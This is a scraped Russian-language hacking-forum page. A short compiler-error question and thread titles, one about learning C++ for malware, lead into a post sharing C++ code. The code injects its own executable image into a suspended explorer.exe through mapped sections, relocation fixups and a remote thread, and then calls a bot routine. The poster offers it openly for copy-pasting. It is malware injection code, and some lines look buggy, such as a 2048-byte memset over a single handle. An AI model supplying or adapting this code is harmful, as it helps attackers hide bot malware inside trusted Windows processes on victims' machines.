C:\>bcc32 c:\borland\bcc66\bin\test.c
Borland C++ 5.5.1 for Win32 Copyright © 1993, 2000 Borland
Error E2194: Could not find file 'c:\borland\bcc66\bin\test.c'
**Добавлено [time]1125678286[/time]**
Чо за трабл ? Может мне чото надо чтоб сохранилось в .С ?
Есть ли смысл учить С++ в 2к20?
Author: D9koder • 2020-02-25T14:35:53+0000 • Replies: 26 • Views: 10K
В плане мальвари. Смотрю в сторону чистого Си, но многие советуют С++, даже
хз, он огромный и сложный
Katakana dev log
Author: Triada • 2019-12-19T18:38:26+0000 • Replies: 44 • Views: 10K
Сюда буду дропать нововведения
Запускаем часть своего кода С++ в другом процессе
Author: Crypto Locker • 2019-11-02T12:50:20+0000 • Replies: 58 • Views: 10K
Код не мой, просто резко появилось желание наплодить индусов. Удачи в
копипасте всем, кто
за этим пришёл.
C++:Copy to clipboard
DWORD WINAPI injectedCode() {
const char* libList[] = { "shlwapi.dll", "mpr.dll", "netapi32.dll", "Gdiplus.dll", "wininet.dll", "kernel32.dll", "ws2_32.dll", "Gdi32.dll", "Ole32.dll", "Iphlpapi.dll" };
for(int i = 0; i < _countof(libList); i++){
LoadLibraryA((char*)libList[i]);
}
runBot();
return 0;
}
void ProcessRelocs(PIMAGE_BASE_RELOCATION reloc, SIZE_T imageBase, SIZE_T delta, DWORD relocSize)
{
if (relocSize <= 0) return;
while (reloc->SizeOfBlock > 0)
{
SIZE_T va = imageBase + reloc->VirtualAddress;
unsigned short* relInfo = (unsigned short*)((byte*)reloc + IMAGE_SIZEOF_BASE_RELOCATION);
for (DWORD i = 0; i < (reloc->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2; i++, relInfo++)
{
int type = *relInfo >> 12;
int offset = *relInfo & 0xfff;
switch (type)
{
case IMAGE_REL_BASED_ABSOLUTE:
break;
case IMAGE_REL_BASED_HIGHLOW:
case IMAGE_REL_BASED_DIR64:
*((SIZE_T*)(va + offset)) += delta;
break;
}
}
reloc = (PIMAGE_BASE_RELOCATION)(((SIZE_T)reloc) + reloc->SizeOfBlock);
}
}
HMODULE GetImageBase(void* funcAddr)
{
SIZE_T addr = (funcAddr) ? (SIZE_T)funcAddr : (SIZE_T)&GetImageBase;
addr &= ~0xffff;
for (;;)
{
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)addr;
if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
if (dosHeader->e_lfanew < 0x1000)
{
PIMAGE_NT_HEADERS header = (PIMAGE_NT_HEADERS)&((byte*)addr)[dosHeader->e_lfanew];
if (header->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
addr -= 0x10000;
}
return (HMODULE)addr;
}
inline PIMAGE_OPTIONAL_HEADER GetOptionalHeader(HMODULE imageBase)
{
return (PIMAGE_OPTIONAL_HEADER)((LPVOID)((SIZE_T)imageBase + ((PIMAGE_DOS_HEADER)(imageBase))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER)));
}
SIZE_T InjectCode(HANDLE hprocess, typeFuncThread startFunc, HMODULE* newBaseImage)
{
HMODULE imageBase = GetImageBase(startFunc);
DWORD sizeOfImage = GetOptionalHeader(imageBase)->SizeOfImage;
HANDLE hmap = CreateFileMappingA((HANDLE)-1, nullptr, PAGE_EXECUTE_READWRITE, 0, sizeOfImage, nullptr);
void* view = MapViewOfFile(hmap, FILE_MAP_WRITE, 0, 0, 0);
if (!view) return false;
memcpy(view, (void*)imageBase, sizeOfImage);
SIZE_T viewSize = 0;
SIZE_T newBaseAddr = 0;
SIZE_T addr = 0;
NTSTATUS status = ZwMapViewOfSection(hmap, hprocess, (PVOID*)&newBaseAddr, 0, sizeOfImage, nullptr, &viewSize, (SECTION_INHERIT)1, 0, PAGE_EXECUTE_READWRITE);
if (status == 0)
{
PIMAGE_DOS_HEADER pdh = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS pe = (PIMAGE_NT_HEADERS)((byte*)pdh + pdh->e_lfanew);
ULONG relRVA = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
ULONG relSize = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
ProcessRelocs((PIMAGE_BASE_RELOCATION)((SIZE_T)imageBase + relRVA), (SIZE_T)view, newBaseAddr - (SIZE_T)imageBase, relSize);
addr = (SIZE_T)startFunc - (SIZE_T)imageBase + newBaseAddr;
}
if (newBaseImage) *newBaseImage = (HMODULE)newBaseAddr;
UnmapViewOfFile(view);
CloseHandle(hmap);
return addr;
}
BOOL RunInjectCode(HANDLE hProc, HANDLE hthread, typeFuncThread startFunc, typeInjectCode func)
{
unsigned int addr = func(hProc, startFunc, 0);
if (addr == 0) return false;
DWORD id;
HANDLE hThread2 = CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)addr, 0, 0, &id);
if (hThread2)
{
return 1;
}
else
{
HANDLE hthread;
CLIENT_ID cid;
if (RtlCreateUserThread(hProc, nullptr, FALSE, 0, 0, 0, (void*)addr, 0, &hthread, &cid) == 0)
{
CloseHandle(hthread);
return 1;
}
}
return 0;
}
DWORD ExecVA(DWORD options, HANDLE* hprocess, HANDLE* hthread, DWORD* exitCode, int wait, const char* cmd, va_list va)
{
DWORD ret = 0;
if (exitCode) *exitCode = 0;
if (hprocess) *hprocess = 0;
if (hthread) *hthread = 0;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFOA));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(si);
BOOL res = FALSE;
if (!res)
{
res = CreateProcessA(0, (CHAR*)cmd, 0, 0, FALSE, options, 0, 0, &si, &pi);
}
if (res)
{
if (wait > 0)
{
if (WaitForSingleObject(pi.hProcess, wait) == WAIT_OBJECT_0)
{
if (exitCode)
{
GetExitCodeProcess(pi.hProcess, exitCode);
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
pi.hThread = 0;
pi.hProcess = 0;
ret = pi.dwProcessId;
}
}
else
ret = pi.dwProcessId;
if (hthread)
*hthread = pi.hThread;
else
CloseHandle(pi.hThread);
if (hprocess)
*hprocess = pi.hProcess;
else
CloseHandle(pi.hProcess);
}
return ret;
}
DWORD Exec(DWORD options, HANDLE* hprocess, HANDLE* hthread, DWORD* exitCode, int wait, const char* cmd, ...)
{
va_list va;
va_start(va, cmd);
return ExecVA(options, hprocess, hthread, exitCode, wait, cmd, va);
}
BOOL RunExplorer(HANDLE* hprocess, HANDLE* hthread)
{
return Exec(CREATE_SUSPENDED, hprocess, hthread, 0, 0, "explorer.exe") != 0;
}
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
HANDLE hprocess, hthread;
memset((void*)&hprocess, 0, 2048);
memset((void*)&hthread, 0, 2048);
if (RunExplorer(&hprocess, &hthread))
{
RunInjectCode(hprocess, hthread, (typeFuncThread)injectedCode, InjectCode);
}
ExitProcess(0);
}